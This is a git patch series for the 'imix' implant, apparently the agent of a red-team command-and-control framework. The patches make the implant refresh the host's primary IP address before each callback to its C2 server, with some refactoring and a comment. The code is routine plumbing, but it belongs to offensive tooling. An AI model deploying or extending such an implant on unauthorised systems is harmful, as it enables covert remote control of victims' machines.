From 314e3e6d7448f0dc040ba0d706d742b6435a9575 Mon Sep 17 00:00:00 2001 From: Nicholas O'Brien Date: Thu, 14 Mar 2024 22:00:52 +0000 Subject: [PATCH 1/5] added ip to each callback --- .vscode/settings.json | 1 + implants/imix/src/agent.rs | 24 +++++++++++++++++++++++- implants/imix/src/config.rs | 2 +- 3 files changed, 25 insertions(+), 2 deletions(-) diff --git a/.vscode/settings.json b/.vscode/settings.json index 75e520d59..4fad2d189 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -4,4 +4,5 @@ "rust-analyzer" ], "rust-analyzer.check.command": "clippy", + "rust-analyzer.showUnlinkedFileNotification": false, } diff --git a/implants/imix/src/agent.rs b/implants/imix/src/agent.rs index de64ba1cc..f0624ea56 100644 --- a/implants/imix/src/agent.rs +++ b/implants/imix/src/agent.rs @@ -1,4 +1,7 @@ -use crate::{config::Config, task::TaskHandle}; +use crate::{ + config::{get_primary_ip, Config}, + task::TaskHandle, +}; use anyhow::Result; use pb::c2::ClaimTasksRequest; use std::time::{Duration, Instant}; @@ -91,6 +94,25 @@ impl Agent { loop { let start = Instant::now(); + let fresh_ip = get_primary_ip(); + if self + .cfg + .info + .host + .as_ref() + .is_some_and(|h| h.primary_ip != fresh_ip) + { + match self.cfg.info.host.as_mut() { + Some(h) => { + h.primary_ip = fresh_ip; + } + None => { + #[cfg(debug_assertions)] + log::error!("host struct was never initialized, failed to set primary ip"); + } + } + } + match self.callback().await { Ok(_) => {} Err(_err) => { diff --git a/implants/imix/src/config.rs b/implants/imix/src/config.rs index 4f972d3c9..288801799 100644 --- a/implants/imix/src/config.rs +++ b/implants/imix/src/config.rs @@ -185,7 +185,7 @@ fn get_host_id(file_path: String) -> String { * Return the first IPv4 address of the default interface as a string. * Returns the empty string otherwise. */ -fn get_primary_ip() -> String { +pub fn get_primary_ip() -> String { match default_net::get_default_interface() { Ok(default_interface) => match default_interface.ipv4.first() { Some(ip) => ip.addr.to_string(), From f1cf1d9e0b9b5b94633a3949f4eca45c258c6283 Mon Sep 17 00:00:00 2001 From: Nicholas O'Brien Date: Thu, 14 Mar 2024 22:06:39 +0000 Subject: [PATCH 2/5] move ip refresh to own function --- implants/imix/src/agent.rs | 19 +------------------ implants/imix/src/config.rs | 22 ++++++++++++++++++++++ 2 files changed, 23 insertions(+), 18 deletions(-) diff --git a/implants/imix/src/agent.rs b/implants/imix/src/agent.rs index f0624ea56..3eb68acdd 100644 --- a/implants/imix/src/agent.rs +++ b/implants/imix/src/agent.rs @@ -94,24 +94,7 @@ impl Agent { loop { let start = Instant::now(); - let fresh_ip = get_primary_ip(); - if self - .cfg - .info - .host - .as_ref() - .is_some_and(|h| h.primary_ip != fresh_ip) - { - match self.cfg.info.host.as_mut() { - Some(h) => { - h.primary_ip = fresh_ip; - } - None => { - #[cfg(debug_assertions)] - log::error!("host struct was never initialized, failed to set primary ip"); - } - } - } + self.cfg.refresh_primary_ip(); match self.callback().await { Ok(_) => {} diff --git a/implants/imix/src/config.rs b/implants/imix/src/config.rs index 288801799..633f2af68 100644 --- a/implants/imix/src/config.rs +++ b/implants/imix/src/config.rs @@ -107,6 +107,28 @@ impl Default for Config { } } +impl Config { + pub fn refresh_primary_ip(&mut self) { + let fresh_ip = get_primary_ip(); + if self + .info + .host + .as_ref() + .is_some_and(|h| h.primary_ip != fresh_ip) + { + match self.info.host.as_mut() { + Some(h) => { + h.primary_ip = fresh_ip; + } + None => { + #[cfg(debug_assertions)] + log::error!("host struct was never initialized, failed to set primary ip"); + } + } + } + } +} + /* * Returns which Platform imix has been compiled for. */ From 2ac45c3b50e81e674394c578347e370a2c8f14b3 Mon Sep 17 00:00:00 2001 From: Nicholas O'Brien Date: Thu, 14 Mar 2024 22:06:57 +0000 Subject: [PATCH 3/5] cleaning --- implants/imix/src/agent.rs | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/implants/imix/src/agent.rs b/implants/imix/src/agent.rs index 3eb68acdd..b52b12ee4 100644 --- a/implants/imix/src/agent.rs +++ b/implants/imix/src/agent.rs @@ -1,7 +1,4 @@ -use crate::{ - config::{get_primary_ip, Config}, - task::TaskHandle, -}; +use crate::{config::Config, task::TaskHandle}; use anyhow::Result; use pb::c2::ClaimTasksRequest; use std::time::{Duration, Instant}; From 87eec92bc0669ccbcae887aef2ab0aaf459fd311 Mon Sep 17 00:00:00 2001 From: Nicholas O'Brien Date: Thu, 14 Mar 2024 22:11:26 +0000 Subject: [PATCH 4/5] comment --- implants/imix/src/agent.rs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/implants/imix/src/agent.rs b/implants/imix/src/agent.rs index b52b12ee4..6f779903e 100644 --- a/implants/imix/src/agent.rs +++ b/implants/imix/src/agent.rs @@ -91,6 +91,9 @@ impl Agent { loop { let start = Instant::now(); + // Sometimes Imix starts too quickly in a boot sequence, a NIC is down during the initial callback, + // or the box Imix is on changes its IP. In any case, for each callback we should refresh our claimed + // IP. self.cfg.refresh_primary_ip(); match self.callback().await { From e0040087a16179fcbee98b208670050493d2f822 Mon Sep 17 00:00:00 2001 From: Nicholas O'Brien Date: Thu, 14 Mar 2024 22:14:27 +0000 Subject: [PATCH 5/5] oops --- implants/imix/src/config.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/implants/imix/src/config.rs b/implants/imix/src/config.rs index 633f2af68..ae9f3c299 100644 --- a/implants/imix/src/config.rs +++ b/implants/imix/src/config.rs @@ -207,7 +207,7 @@ fn get_host_id(file_path: String) -> String { * Return the first IPv4 address of the default interface as a string. * Returns the empty string otherwise. */ -pub fn get_primary_ip() -> String { +fn get_primary_ip() -> String { match default_net::get_default_interface() { Ok(default_interface) => match default_interface.ipv4.first() { Some(ip) => ip.addr.to_string(),